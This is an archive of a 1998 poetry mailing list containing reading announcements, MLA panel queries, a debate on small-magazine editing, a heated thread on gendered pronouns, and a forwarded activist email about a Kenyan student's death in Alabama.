Mon 26 Oct 1998

Does anyone perchance know if there is a panel being planned on Jack Spicer or on the SF Renaissance (or any proposed topics where a paper on Spicer would be appropriate) for San Francisco MLA in '99? Any info appreciated.

Thanks.

Kent

↑ Index

740. Poetry Project
there's a mag at the end of this typo
Mon 26 Oct 1998

Sigh. so while i'm still working through my recently received copy of Mike & Dale's Younger Poets issue 10 i can at least say I've been dazzled by Roberto Tejada's great translations of Jose Lezama Lima's poems as well as the interview with Joanne Kyger which I only wish was ten times longer as Kyger is so terrific & so neglected -- as has been previously mentioned by Dale Smith, Ron Silliman & others & has been the case for years but her case seems to me to be exceedingly blatant & unjustifiable as she is routinely ignored by poets of all shapes sizes and aesthetics as well as the recent anthologizers of post-modern/innovative/radical/experimental/non-mainstream/etcetcetcetcetce tcetcetcetcetcetc poetry. I mean, really.

& I happen to know Dale & Hoa & Mike put a tremendous amount of energy & work & care into doing their magazine & books. It seems unecessary to single out M & D's as the object of an anti-typo tirade.

↑ Index

741. ShaunAnne Tangney Humanities
Re: Spicer at MLA?
Mon 26 Oct 1998

On Mon, 26 Oct 1998, KENT JOHNSON wrote:

> *Does anyone perchance know if there is a panel being planned on Jack Spicer or on the SF Renaissance (or any proposed topics where a paper on Spicer would be appropriate) for San Francisco MLA in '99? Any info appreciated.*

MLA is in SF _this_ december (1998); i'm not sure where it will be in '99, but it should be mid-continent (denver, chicago, dallas). a quick purusal of the '98

program revealed nothing relating to either spicer or the SF Ren. ...too bad, it's a good idea...

--ShaunAnne Tangney

> *Thanks.*
>
> *Kent*

↑ Index

742. **sylvester pollet**
JOEL OPPENHEIMER SYMPOSIUM
Mon 26 Oct 1998

I haven't seen anyone mention this yet--at new England College, Henniker NH, Oct. 29-30, 1998. Oct. 29 7 p.m. Creeley Reading. Oct. 30 9-5, papers & panel, presenters: Robert Bertholf, Richard Blevins, David Landrey, Ed Foster, Lyman Gilmore, Patrick Meanor, Michael G. Stephens. (Little heavy on the testosterone, but don't blame me for that, I'm just reporting). Organizer is Don Melander at New England College, phone [redacted]. I'll be there, and will try to report something of the event. Listafarians, please say hello. Events are in the Simon Center Great Room. best, Sylvester Pollet

↑ Index

743. **Elizabeth Treadwell**
small magazines
Mon 26 Oct 1998

---

oh how I should be grading papers, applying for jobs, applying for grants for Outlet/DLB, doing laundry- or uh WRITING - and should just stray from the fray but Standard I must say YES-- I TESTIFY.

To edit a magazine well, to raise the money to do it, takes a lot of
>time. Often at the expense of one's own writing. Of course, there are any
>numer of strategies to waste time and to speed up the process. If an editor
>solicits, that takes an enormous amount of time. If an editor just
>photocopies originals, that takes less. At any rate , it is not as simple as
>Tom Orange has stated.

Outlet Magazine -&- Double Lucy Books
P.O. Box 9013, Berkeley, California 94709 U.S.A.
http://users.lanminds.com/~dblelucy

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744. Charles Bernstein
Hannah Weiner Memorial Nov. 7
Mon 26 Oct 1998

Hannah Weiner: A 70th Birthday Memorial Tribute

Saturday, November 7, 1998
4pm
The Poertry Project, St. Mark's Church, 10th Street & Second Avenue
New York City

Charles Alexander
Bruce Andrews
Abigail Child
Maria Damon
Tina Darragh
Alan Davies
Maurice Finegold
Kenneth Goldsmith
Phil Good
Ernesto Grosman
Bob Harrison
Michael Heller
Herny Hills
Peter Inman
Jackson Mac Low
Sharon Mattlin
Bernadette Mayer
Phill Niblock
Nick Piombino
Joan Retallack
Barbara Rosenthal
Carolee Schneeman
James Sherry
Ron Silliman
Anne Tardos
Fiona Templeton
Tod Thilleman
Lewis Warsh
Barrett Watten
plus coordinators
Charles Bernstein
Lee Ann Brown
Andrew Levy

↑ Index

745. **Rachel Levitsky**

[Fwd: Stephen Daniel M <[redacted]>: Lynching of Kenyan Woman (fwd)]

Mon 26 Oct 1998

---

by x16.boston.juno.com (queuemail) id DRYQNRYD; Tue, 20 Oct 1998 00:17:09 EDT
To: [redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted], [redacted],
[redacted], [redacted]
Date: Mon, 19 Oct 1998 22:01:12 -0600
Subject: Stephen Daniel M <[redacted]>: Lynching of
Kenyan Woman (fwd)
From: [redacted] (EUGENE RODRIGUEZ)

--------- Begin forwarded message ----------
From: Stephen Daniel M <[redacted]>
To: [redacted], [redacted]
Subject: Lynching of Kenyan Woman (fwd)
Date: Mon, 19 Oct 1998 16:01:53 -0600 (MDT)

Hi:

I am forwarding the following because complaints that blacks and others are making with regard to the activist and media attention focused on the Matthew Shephard incidident are, I believe,
totally valid.

Shephard's white skin and middle-class status did not save him from attack, but it did save him from falling into obscurity.

Unfortunately, few in the lesbian or gay community are willing to consider such criticims- in part because control over political discussion is resting almost exclusively in the hands of a few who act primarily on the basis of class interest-

Are there no grassroots gay and lesbian organizations left in the world?

Dan

---------- Forwarded message ----------
Date: Mon, 19 Oct 1998 09:26:59 -0400
From: Scott McLarty <[redacted]>
To: Lola Hemiola <[redacted]>
Subject: Lynching of Kenyan Woman (fwd)

From: League W. [redacted] on 10/17/98 03:46 PM
Subject: Lynching of Kenyan Woman (fwd)

---------- Forwarded message ----------
Date: Sat, 17 Oct 1998 10:30:32 +0200
From: Lynette A. Jackson <[redacted]>
Subject: Lynching of Kenyan Woman

Dear Black Feminists,

Has anyone heard/made noise about the Kenyan woman lynched in the South a few weeks ago? Have you heard about the case? I know that you've have hear about the case of Matthew Sheppard. I feel deeply sorry for the fact that this young, gay, white man was lynched, but can't help notice that, while his whiteness did not prevent them from taking his life, it has prevented this heinous act from passing into oblivion, from passing in silence. The young Kenyan sister (apparently) lynched in Alabama, on the other hand....Let's hear some noise. I'll see what I can do this side.

(A friend tells me that she has heard of plans to write a feature
article on the incident; but it might be good to have a Black feminst
response, don't you agree?
peace
Lynette

Subject:
Fwd: Kenya woman Lynched in Alabama
Date:
Wed, 7 Oct 1998 19:39:47 -0400 (EDT)
From:
sun2soul <[redacted]>
To:
[redacted]
CC:
[redacted]

Dear friends and comrades:

Please help circulate this widely, and if you have any suggestions or contacts please forward to the originator of this e-mail message listed below:

Martin White (Mwangi)
[redacted]

sincere thanks,

Kagendo

******* ******* *******

this is a forwarded message reformatted for legibility

******* ******* *******

> *August 20, 1998*

Dear friends, Kenyans and other kind concerned persons,

I have tracked down more specific information about the hanging death of the young Kenyan woman in Alabama, which many of you know I became aware of only because of an Internet posting by a nurse in Alabama. This nurse expressed concern for Catherine, a friend of her 17 year old son, happen in Alabama. Unfortunately, no national newswire stories have been run and I had to hand type the following attached stories from faxes I was able to needle out of the local paper in Muscle Shoals, Alabama. I hope that you will join me in disseminating this information to persons and organizations capable of bringing some focus and attention to Catherine's death and the circumstances surrounding them.

The nurse in Alabama who originally posted the messages that made me aware of this story expressed concerns about the strange nature of this hanging death and the timing of it. Unfortunately, there seems to be a push by local authorities toward labeling this hanging death a suicide. If you read the stories, I think you'll agree that this story does require further investigation.

Catherine Mutheki was a 20 year old Kenyan woman who came to the U.S. only in March of this year. She had a perfect 4.0 grade point average and had never missed a class before Monday. There is no indication that she was emotionally disturbed from any of the articles I read (see those attached). In fact, everyone who knew Catherine felt she was a very happy and determined person, including one of her teachers who has come forward to say she does not think it was a suicide. As you may already know, Catherine was found hanged by her sweater, from a railroad spurabout 200 yards from her dorm room on Wednesday, August 13th.

More surprising about her death, Catherine was hanging low enough from the
tree that she could have placed her feet on the ground at any time to stop
it. As far as I know, that is an a-typical form of suicide and, unless

Catherine had been intoxicated or had some other condition, I can't imagine
that this form of self-asphyxiation would be easy. Moreover, it simply
doesn't sound consistent with the picture of Catherine painted in the the
articles by her specific friends. (Apparently, the RN and her son, who knew
Catherine, didn't think it
sounded likely either.) I believe that there is a strong possibility that
Catherine Mutheki's death was no suicide but could have been precipitated
by anger over the bombings of the Embassy in Nairobi.

Because I'm in NYC, I have no basis for this belief other than the facts as
you shall read them below, and my reading of a variety of posts on the
Internet last week which suggested a great deal of hostility toward Kenyans
for the bombing. The other basis for my belief is the concern and fear of
the local nurse, whose son knew Catherine.

If you know anyone who you think should know about this story or who could
get it into the media (investigative media, preferably) or into a human
rights organization which will investigate it, I would much appreciate it.
I have contacted the Kenyan Mission to the U.N. in New York - and the
person I spoke to knew nothing about this story until my contacting them. I
have also delivered this material, or given specific pertinent information
via voice mail, to a Kenyan paper (The Nation), the Alabama State NAACP,
the Southern Poverty Law Center (which didn't know anything about it), the
offices of Senator Carol Mosley-Braun, Congressman Charles-Rangel's office,
Bill Clinton's and Al Gore's
e-mail addresses and to a variety of other sources. I have so far been less
effective with the media, counting on organized human rights organizations

to give weight to the story. As an individual who lives in New York City,
it is difficult to speak credibly to media and others about a story in Alabama.

Please, however, if you think of someone who might be motivated to investigate this story, forward this e-mail to them, and send it to anyone you know that might be interested.

I have also included various telephone numbers for relevant elected officials below. If you feel so inclined, you might call them to express concern about the manner of Catherine's death and you might expand the circle by calling your own Congressmen, Senators, news media or other concerned organizations. It would be important, given the circumstances surrounding Catherine's death and given their proximity to the international events that transpired in Nairobi on August 7th to strongly suggest that you feel that this might be a hate crime and therefore subject to investigation by federal authorities, like the recent case outside of Houston - the dragging death of the Texan man.

Please do not hesitate to contact me at [redacted] if you would like to
discuss more coordinated efforts on this matter.

Thank you,

Martin White (Mwangi)
[redacted]

August 30th, 1998

Dear Friends, Kenyans and Kind Concerned Persons,

I spoke to members of the Kenyan community in Alabama this evening about Catherine's death. They had organized themselves from a city in Alabama and had gone up to Catherine's college. They arrived just in time to prevent Catherine's body from being rapidly cremated by the college. Apparently, the school had "not yet reached Catherine's family" and was anxious to have her body cremated. An odd thing to do with a foreign woman's body - where the cause of death has still not been officially determined by the local police.

I learned the following details with regard to Catherine's death:

1. Catherine called a friend in Birmingham the week before her death, at 3:00 a.m., frightened terribly, to say that she had been threatened and was very afraid. I will be speaking to the young friend of Catherine's tomorrow to find out what Catherine told him/her specifically.

2. A member of the staff of Catherine's College has come forward to the Kenyans and told them that she/he does not believe that Catherine committed suicide.

3. Apparently the Muscle Shoals Police Department is still investigating Catherine's death and has NOT determined that it was a suicide. However,
THEY have received many calls from local persons in the community telling
them that it was a suicide. [A pretty brazen community - if they feel they
can call the Police and demand a specific finding].

This is just to keep you posted. I have encountered some disbelief that this is a story from members of the press. The fact that this story has not
received national attention and that it has barely even received coverage
in Alabama - seems to be determinative to members of the press.Please, if
you feel as strongly about this case as I and many Kenyans do, then make yourself heard to your Congresspersons, Senators, the Justice Department (Civil Rights Division) and local newspapers that this IS a hate crime and
a news story and must be covered and must be investigated as a Hate Crime,
under Federal Hate Crime laws. Mention the Federal Hate Crime Prevention Act of 1998 if you want to make it
seem relevant to current Congressional business (just about every Democratic
and many Republican Congressmen and Senators sponsored this bill this year
- hopefully they weren't just going through the motions).

So long as this story only gets local coverage of the type you saw in my last e-mail, and the only people demanding an investigation are foreigners (or New Yorkers), Catherine's death will continue to be investigated under questionable and difficult circumstances - for the Kenyan Community in Alabama and for the local officers who are subject to local pressures.

Please pass this e-mail on to as many people in the community of kind concerned persons as you can and try to add your voice to any e-mails you can send. I thank you in advance for forwarding this and past e-mails and for sharing the burden.

Thank you and Peace,

Martin White (Mwangi)

P.S. I apologize if this e-mail is vague with regard to the identities of the persons mentioned. However, due to the fact that members of the Kenyan Community in Alabama might be further threatened, I have tried to keep identities vague. However, if you're a bona fide member of the press or a human rights organization, upon their permission, I will be happy to release the names and contact information of those referred to herein.

Attached below are the local press stories and original e-mail:

The Kenyan community in Alabama will attempt to have a gathering sometime
this week to discuss how we should proceed in order to ensure that
Catherine Mutheki's death is properly investigated and that no conclusions
are forced in order to close the case.

3 local Alabama news stories follow from the TimesDaily, Muscle Shoals, Alabama:

Nationwide search on for student
By Mike Goens
Senior Reporter
August 12, 1998

MUSCLE SHOALS - A nationwide search is under way for a native Kenyan who was last seen walking down the hallway at her Northwest-Shoals Community College dormitory Sunday afternoon.

Catherine Mutheki, 20, arrived in the Shoals on March 3 and enrolled at Nortwest-Shoals six days later to begin studying pre-practical nursing, school officials said.

Until Monday, she had never missed a class, school officials said.

"We're very much concerned because everyone we've talked to has told us that this is so uncharacteristic of her," said Muscle Shoals Assistant Police Chief David Bradford. "The folks at the community college are very upset because they haven't heard from her."

Mutheki, a native of Nairobi, Kenya, has officially been listed as a "missing person and endangered," according to Bradford. All local law enforcement agencies have been notified and Muscle Shoals police have entered information about her in a national computer center databank.

Melanie Thompson, assistant residence director at Nortwest-Shoals contacted Muscle Shoals police just before 11 p.m. Monday about Mutheki's disappearance.

Bradford said fellow students reported last seeing Mutheki about 1:45
p.m.
Sunday as she was walking down the dor >>
>>>

******* ******* *******

--------- End forwarded message ----------

↑ Index

746. Billy Little
Re: Erato & small magazines
Mon 26 Oct 1998

editing a mag can be self serving in two ways i can think of, 1. tenure; 2, back scratching, maybe if i publish even one of this dullard's poems he'll publish me in hubblebubble. Not to mention the sex, to transpose the Tom Clark axiom, on every little campus there's a poet that'll snap their pantie elastic at the mere sight of an editor. This works in reverse as well, if you don't publish this dullard's poems you don't get tenure. Or you don't get your poems on the billboards if you run readings for five or ten years and don't invite the dullard poets. Dullards rule ok?

likem and lumpen,

billy little

billy little
4 song st.
nowhere, b.c. V0R1Z0

Go ahead and say something true
before the big turd eats You
You can say any last thing in Your poem.

-Alice Notley

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747. maz881
reads
Mon 26 Oct 1998

east coast heads and denver vicinities,

i'll be camping in your areas. if you'd like to meet for poems beers tea or yoga or the fat one, send me an email. or call me. [redacted].

read with Tony Lopez wed Cct 29 7pm Teachers & Writers (5 union square west 7th floor) NYC

read with Fred Wah sun Oct 31 8pm Bridge Street Books (2814 Pennsylvania Ave NW) DC

read with Barbara Cole, Brett Evans & Elinor Nauen fri Nov 7 7pm at George's 5th St Cafe (5th St. bewteen Lombard & South Sts in Center City) Philli

read with Ted Greenwald sun Nov 8 6:30pm at the Zinc bar (90 West Houston St. just west of La GuardiaPlace) NYC

read with Richard Wilmarth mon Nov 9 9pm at Penny Lane Coffee Cafe (on Pearl Street near the Beat Book store) Boulder.

hope to see yous.

Bill Luoma
[redacted]

↑ Index

748. **Mark Weiss**
Re: Erato & small magazines
Mon 26 Oct 1998

This is a joke, right?

As to the sexual possibilities, may I point out that it would be the most expensive date since Anthony and Cleopatra?

At 11:28 AM 10/26/98 -0700, you wrote:
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>back scratching, maybe if i publish even one of this dullard's poems he'll
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>before the big turd eats You
>You can say any last thing in Your poem.
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>-Alice Notley
>
>

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749. **Mark Weiss**
Information, please
Mon 26 Oct 1998

Two quick requests:
1. Anybody have an email address for Fred Muratori?

2. I'm putting together a selection of uncollected poems by the late poet and novelist Richard Elman. He was in the habit of sending only copies of poems to friends. If anyone out there has any such, would you please send copies to Mark Weiss, PO Box 40537, San Diego CA 92164. His wife Alice and I have agreed that sending to me would be the best way. I'll make sure that she gets copies as well.

↑ Index

750. **MAYHEW**
Spicer at MLA
Mon 26 Oct 1998

Why don't "we" just put together a special session at the next MLA? The dead-line, I believe, is around mid-March for the December meetings. May I suggest the topic of Spicer and Lorca? Anyone interested may back-channel me. I am willing to put the thing together. Of course, you have to be a member of MLA, and not all special sessions are approved by the "program committee."

Jonathan

↑ Index

751. **Jordan Davis**
Poetry City
Mon 26 Oct 1998

Bill Luoma and Tony Lopez read at Poetry City

Thursday, November 29 7 pm

free admission free eats free wine

5 Union Square West 7th Fl NYC

hosted by Jordan Davis and Anna Malmude
in the offices of Teachers & Writers Collaborative

↑ Index

752. **Jordan Davis**
an error is a way to get to speak twice
Mon 26 Oct 1998

Bill and Tony read this Thursday

Thursday, _October_ 29

oops!

↑ Index

753. **R M Daley**
Re: speaking of taking care with language...
Mon 26 Oct 1998

---

jen hofer - yeah so when i read yer NOTE about HIS i thought hey well thanks for the reminder, but certainly these terribly enlightened and perceptively groovy folks on the buflo listserv slip once in a while, some forget that women got the vote a little while back and all, no harm no foul

BUT.....

On Mon, 26 Oct 1998, Daniel Zimmerman wrote:

> *If a writer wants to make himself or herself appear truly ridiculous,*
> *s/he ought to ensure the PC [pronominal correctness] his/her scrivenage,*
> *s/he need only mindlessly cleave to the hermaphroditic fallacy*

what fallacy is this ?? the one about me not having to buy into the necessity to live out a masculine scopophilic fantasy...a fallacy to even suppose that it's possible for a woman to live not as a backdrop to every mode of discourse ever developed...to attempt to live not through a single my very own special solid ME...YES , what a farce, to acknowledge the discomfort of leaving our pretty

syntax, to find out a conceptual framework is only a framework and can OHMYGOD possible be shifted OH the possibilities of language!, may we never go to far (even with those pesky ole pronouns)

the real problem is that using a universal 'she' is immediately much fishier - certainly should be fishy in universalizing, but certainly is never the proposed soluntion when PC-backlashers harp on the silliness of making pronouns co-ed , hence...

> *When possible, I use*
> *plurals; if not, I usually manage to fend off the harpies of PC & employ*
> *the masculine singular, unless the feminine makes more sense.*

and so given these conditions, it seems that conveniently the feminine
could never 'make more sense'
>
> Why savage the tongue?

shit on it spit on it please to god take away any thing called MINE (voice) cause certainly will never do no one no good unless it is adequately ruined spoiled fucked run amuck in the squalor and thats that

PC usage makes the writer seem *primarily*
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> communicating any particular ideas. It says "don't think; obey." It
> ignores, hegemonically, instance for principle, tree for forest. It also
> undercuts its own purpose because it provides a mantric smokescreen for
> sexists: just perform the magic chant & no one will ever know.

one li'l ole pronoun does all that - in that case i say go for it ...and if all of the sexist people i meet were ever actually take measures to simply 'avoid the appearance of sexism', while wallowing at night in their bedrooms full of sexist rage (thinking of me while shouting 'hey sweetheart, hey honey, hey dear, hey beautiful come sit on my lap, hey bitch...'you can imagine!) i would ask for nothing more

> *intentions don't stiffen this rubber crutch.*

i should hope not!

peace love understanding,

rd

> *Dan Zimmerman*
>
> *Mark Weiss wrote:*

> *Sometimes I forget and write the English I was taught is proper, instead of "his or her," which is my usual compromise. Is there a pc way to do this in languages in which all nouns are gender-marked?*
> *No apologies.*
>
> *At 11:30 PM 10/25/98 -0600, you wrote:*
> *Mark Weiss writes:*
> *That said, care in proofing is the editor's first responsibility to HIS readers and contributors.*
>
> *(highlight mine)*
>
> *One wonders what century a person lives in (or what magazines she or he publishes in!) if all the editors are men.*
>
> *Or perhaps it is that women editors (editrixes?) do not make errors?*
>
> *May seem picky, but some "typos" have a lengthy history.*
>
> *gender-neutral kisses from your local grammar queen,*
>
> *jen hofer*

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754. L. MacMahon and T.R. Healy
Re: Erato & small magazines
Mon 26 Oct 1998

For aspiring and possibly perspiring editors it may be worth pointing out that the poet's intentions may not be sexual. Even light gauge pantie elastic - worn by whatever gender - can take an eye out.

Randolph Healy

from [redacted]

> From: Billy Little <[redacted]>
Not to mention the sex, to transpose the Tom
> Clark axiom, on every little campus there's a poet that'll snap their
> pantie elastic at the mere sight of an editor.

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755. Alaric Sumner
Carlyle Reedy EPC web page: Call for performance reviews etc
Mon 26 Oct 1998

I am putting together an Electronic Poetry Centre Web Page for Carlyle Reedy: http://writing.upenn.edu/epc/authors

I would like to include on the page reviews/descriptions/enthusiasms for her PERFORMANCE works from the late-sixties to mid-eighties. If anyone would like to write/has already written text on her performances, please backchannel; both references and the texts themselves would be of interest.

Also wanted: reviews/criticism of any work (poetry, visual work etc) for which copyright is available to be used on to the web page; references for paper-published reviews/criticism; any other works/references/images that can be cited or reproduced.

Contact me at mailto:[redacted] (DO NOT USE 'REPLY'!) or contact Carlyle direct.

STANDARD DISCLAIMER: aplogs for xpositing.
STANDARD REQUEST: please forward to any others who might...

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756. Bob Grumman
Re: speaking of taking care with language...
Mon 26 Oct 1998

I should stay out of this he/she fuss but now that Daniel Zimmerman has been brave enough to expose his unPC-ness, I feel I ought to let it be known that I back him. I hate the use of "he or she" myself because I automatically KNOW that an editor, say, is a he OR her, and am irritated to be told that by a him-or-herer. It's exactly why I also hate the expression "at this point in time." (Though there are times, however infrequently, when each expression IS valid.)

I also think it's an insult to women to believe that the use of the generic "he" will subconsciously force them to believe that all the vocations it is used with are for men only.

But, like Daniel, I try to avoid problems by using plurals, or "one," or second person.

--Bob G.

wrote:
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> > If a writer wants to make himself or herself appear truly ridiculous,

> > s/he ought to ensure the PC [pronominal correctness] his/her scrivenage,
> > s/he need only mindlessly cleave to the hermaphroditic fallacy
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> discomfort of leaving our pretty syntax, to find out a conceptual
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> > Dan Zimmerman
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> > Mark Weiss wrote:
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> > > Sometimes I forget and write the English I was taught is proper, instead
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> > > languages in which all nouns are gender-marked?
> > > No apologies.
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> > > At 11:30 PM 10/25/98 -0600, you wrote:
> > > >Mark Weiss writes:
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> >

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757. **Joe Amato/Kass Fleisher**
Re: speaking of taking care with language...
Mon 26 Oct 1998

---

well for what it's worth, i'm with rd and jen h on this, for reasons that would or could
take a few years to detail...

the question is not whether adding a she/her/hers can do any harm... the question is rather the ways in which not doing so, for so many centuries, has already done much harm...

as a teacher i see said harm every day, but am loathe to privilege my own perspective here... still, i'm actually a bit puzzled---is it possible that poets, of all people, would not be sensitive to the massive influence the male pronoun has had in passing itself off as ungendered?...

i suppose this is a rhetorical question, sadly... no ire here, guys (and gals?)---so please not to jump on my shit... but to see such an elemental issue rendered ostensibly trivial by presumed association with "political correctness"---well, makes me wonder whether any of you naysayers have had even a cursory glance at feminist thought...

or is using the f word (around) here yet another example of pc?...

c'mon... but no hard feelings, just the same...

///

joe

↑ Index

758. **Mark Weiss**
Re: speaking of taking care with language...
Mon 26 Oct 1998

While we're reforming the language (and in the process erasing its history), has anybody thought to find better terms than fe-male and wo-man? Surely we can come up with words that aren't so clearly a product of patriarchy.

Since I'm leaving town for a couple of weeks I thought I might make a little mischief.

At 02:20 PM 10/26/98 -0700, you wrote:
>jen hofer - yeah so when i read yer NOTE about HIS i thought hey well
>thanks for the reminder, but certainly these terribly enlightened and
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759. **Bob Grumman**
Re: speaking of taking care with language...
Mon 26 Oct 1998

I often wonder about the so-called power of language. So many people are offended by name-calling, for instance, but I'm not. I think it may be that poets UNDER-RATE the power of words because they can control them. Like football players not thinking (mild) physical violance is harmless because they're used to it. I've often argued (with friends) that freedom of speech is not a "natural right," but something people strong in verbal ability like; I can see the point of view of those against it, but still choose it myself because information is

important to me. I don't consider it an absolute good, just a good that I happen to prefer. Though I can see their point of view, I think, it is still hard for me to sympathize with people who are, who claim to be, victims of words. And it has to be admitted that there are many who make a career of offendability. There's much more to be said on this topic, but this weak attempt to suggest the gist of my feelings on it, I hope, will be my last post to this thread. The subject is too complex for full discussion, and too sensitive for any kind of easy-going bs session. --Bob G.

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760. **David Baratier**

Re: errata & small magazines

Mon 26 Oct 1998

Unfortunately, literary magazines have become the sea, which literature flows into at will. How editing a mag is self serving I can not see from my vantage. I find running a press is a position of service and an excellent way to have a fuller view on current writing phenomena. There is the funding Standard writes of, the reading, & the marketing. Marketing each title to its fullest potential has its detrimental side in terms of exposure to individuals. Most of whom never read the journal. I read about 15-20,000 pieces in a given year not including chapbooks & full length books. The issue is 64 pages minus eight for front matter & contributors and another 10-15 pages taken by the featured writer. That leaves forty pages for those submissions. Pound spoke of having the constant contributors published to anchor the journal then an element of surprise for the rest of the issue, an area ever revolving which anyone could appear in. I find that works for me. The price to do that is an entirely different situation though. There is no ease, except if one were to chose to publish a mag which doesn't appear in International Directory Guide, Poet's Market, PEN awards, SPR, Loft etc. Then I would question how many individuals who are not fully accomplished writers will read the issue and be exposed to its possibilities. As for placing the cart before the horse, if someone needs to write they will do so at any and all costs; I rely on that fact, and provide an outlet and audience for that venture. A journal must be of its times without giving in to them. As was written, there is no need to denigrate either the editor or writer for what they contribute. At the same time, in the sea of people writing, the writers are few.

I believe that people long to be the amateur discoverer but few ever place themselves in this position. Our societal normative causes this condition. The market needs consumers of entertainment but the creators are not an option offered, let alone a person who abandons entertainment to create and is satisfied through the act. Upon escaping the purchasing frenzy I doubt an editor needs to traverse the psychic woods of the unconscious before they will be able

to edit a journal of truly great writing. Although the editor who forwards a journal into art form creates a forum which is more than an extension of content.

Be well

David Baratier

↑ Index

761. **Safdie Joseph**
Joanne's Defense; Haiku
Mon 26 Oct 1998

This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible.

Glad to see the Poetry Project (is it Anselm B., really? I think I saw that in one post) defend Joanne -- don't such exclusions arise from categories that are too narrow, and which ignore lively, necessary work because it might not fit someone's conception of avant-garde or experimental or post-modern? The "old Bolinas crowd" must really be getting old . . .

I affix the following list of haiku not for their poetic incisiveness, but solely for cat lovers on the list, whom I'm sure will take pleasure from them.

<<FW Ailurophilic Haiku.doc>> (It's a Word 97 document -- if anyone's interested and can't read it, back-channel me and I'll figure out another way to send it).

Joe Safdie

name="FW Ailurophilic Haiku.doc"
filename="FW Ailurophilic Haiku.doc"
Content-Location: ATT-0-6A050D6B6E6BD211A28400A0C9E11F9C-F
WAILU%7E1.DOC

↑ Index

762. **Daniel Zimmerman**
Re: speaking of taking care with language...
Mon 26 Oct 1998

Joe Amato/Kass Fleisher wrote:
>
> well for what it's worth, i'm with rd and jen h on this, for reasons that would
> or could
> take a few years to detail...
>

> the question is not whether adding a she/her/hers can do any harm... the
> question is rather the ways in which not doing so, for so many centuries,
> has already done much harm...

DZ: I agree that *never* using a feminine pronoun demonstrates a pitiful --even reprehensible--degree of opacity, but I did not even suggest that particular straw man, nor do I feel responsible to undo the injustices of the past, since the evils of the present offer such abundant targets. And in the present, it seems to me that the awkwardification of the language in the interests of *any* agenda, however laudable [e.g., the elimination of sexism, which I fully support], makes little sense.

Allow me to explain: I hope that the elimination of sexism will prove a temporary necessity, i.e., that within a generation or two, sexism will really cease to exist. However, the ugly modifications to the language at issue here [whether they actually have any efficacy in eradicating sexism or not] may stick [heaven forfend!], & not wither away naturally as Lenin expected the state to do after the dictatorship of the proletariat [as the Soviet state, for example, certainly did not; it withered quite unnaturally for thoroughly non-Marxist reasons]. Perhaps the speakers of English in the future will regard as attractive what I consider deformities; I think it more likely that they will regard them as anachronistic, superfluous & unnecessary -- but if they try to make them 'wither away,' they may find themselves under attack as invidious reactionaries & revisionists.

Moreover, the notion that gender in the map of language mirrors sexuality or gender identity in the territory of human life flies in the face of well established principles of linguistics ["the map is not the territory"]. To treat them as coextensive strikes me as ludicrous: one might as well tell the French or Germans to reform the gender of their nouns [*das" Mädchen, indeed!].
>
> as a teacher i see said harm every day, but am loathe to privilege my own
> perspective here... still, i'm actually a bit puzzled---is it possible that
> poets, of all people, would not be sensitive to the massive influence the
> male pronoun has had in passing itself off as ungendered?...

DZ: Joe, I never use "he" in a *poem* as ungendered, but often do so in speech, and also *always* use "he or she" &c in essay and other writing *when it seems appropriate* [a possibility which R. M. Daley seems to think I deny, for reasons I can't discern in my post to which she responded]. To see a brief example of how I actually *use* pronouns, I invite you an all listees to read my essay on E-Prime at

http://idt.net/~daniel7

My objection concerns the absolute blanket and obsessive use of multiple
and convoluted instances of double-gendered pronouns in sentence after
sentence by students in my English Comp classes whose highschool
teachers have (*they tell me*) intimidated them into such grotesqueries.
>
> i suppose this is a rhetorical question, sadly... no ire here, guys (and
> gals?)---so please not to jump on my shit... but to see such an elemental
> issue rendered ostensibly trivial by presumed association with "political
> correctness"---well, makes me wonder whether any of you naysayers have had
> even a cursory glance at feminist thought...
>
> or is using the f word (around) here yet another example of pc?...
>
> c'mon... but no hard feelings, just the same...

> ///
>
> joe

DZ: No: no hard feelings at all, Joe.

↑ Index

763. Edward Fristrom

Re: speaking of taking care with language...

Mon 26 Oct 1998

Mark Weiss wrote:

> *While we're reforming the language (and in the process erasing its history), has anybody thought to find better terms than fe-male and wo-man?*
> *Surely we can come up with words that aren't so clearly a product of patriarchy.*
>
> *I find it hard to see that the changing the "he" is an erasure of history. Unless one were to go around and censor it in new editions of all old texts. Mostly I just see it as an anachronism, like saying "yore". It may have made sense, after all, to truncate "he and she" to "he" at that point where the editorial staff was all men, and it may have made sense to keep the usage for a while out of convenience. . .but the more women we have on our editorial board, the more "he" not "he and she" seems awkward.*

Unless we were to go back and edit all older texts so that the "he and she" appears in place of "he", it would seem that changing to "he" is more an admission to the change of history than the erasure of it. It may have made sense, after

all, to truncate "he and she" to "he" at that point where the editorial staff was all male, and it may make sense to keep it around a while out of convenience, or because we don't believe that the women are going to take over after all. But they are now, or they did; they've got the better corpus collosum and they'll take over the writing and editorial positions. "He" has become to seem more like nothing more than a nostalgic anachronism. . ."Back in the days of Yore. He"

But then. . .I'm relatively young, so "he and she" seems natural enough. It takes me the same or less cognitive juice to process as "he" since we don't really READ it anyway. But I can appreciate what people say about awkwardness. I can appreciate how trivial the attempt to change the language seems in light of other problems. Pronouns aren't a particularly interesting part of speech, after all. Pronoun USAGE is interesting, but pronouns themselves are placeholders or shorthand. If we were really interested in what the pronoun specified, we wouldn't have said "he and she" to begin with. We would have give names or said "the editor" or "editors". So it can seem rude to be corrected on the short-hand and have the substance of the sentence ignored. It can seem that usages like "she and he" are more cute than effective, and "womyn" for "women" is, well, a bold dramatic statement made at an undramatic juncture.

But an insult to women? Where did THAT emotive response come from? Maybe the disembodied campaign to change the pronouns is disconcerting (the "PC" doesn't actually exist after all. . . there isn't a center for it, or a document, and its agents pass from person to person like the angel in "fallen". . . recognizeable only by a few phrases that sound as if they are coming from someone else) but I can't think of actual instances where the pronouns would be taken as insulting. And if this insult was a result of that larger context then. . .hmmm. . . wouldn't one want to change the culture instead of adjusting the pronoun to be even handedly sexist? Or change the text? After all, I think "he and she" looks more natural in some contexts than it does in other. It would look downright peculiar in Norman Mailer. So perhaps if the "he and she" in our own texts look like too much of a hat tip to the PC, than maybe the rest of the text is the problem, not the new pronouns.

Shrug.

-- Te (whistling time is on my side) d

↑ Index

764. **Hilton Manfred Obenzinger**
Re: speaking of taking care with language...
Mon 26 Oct 1998

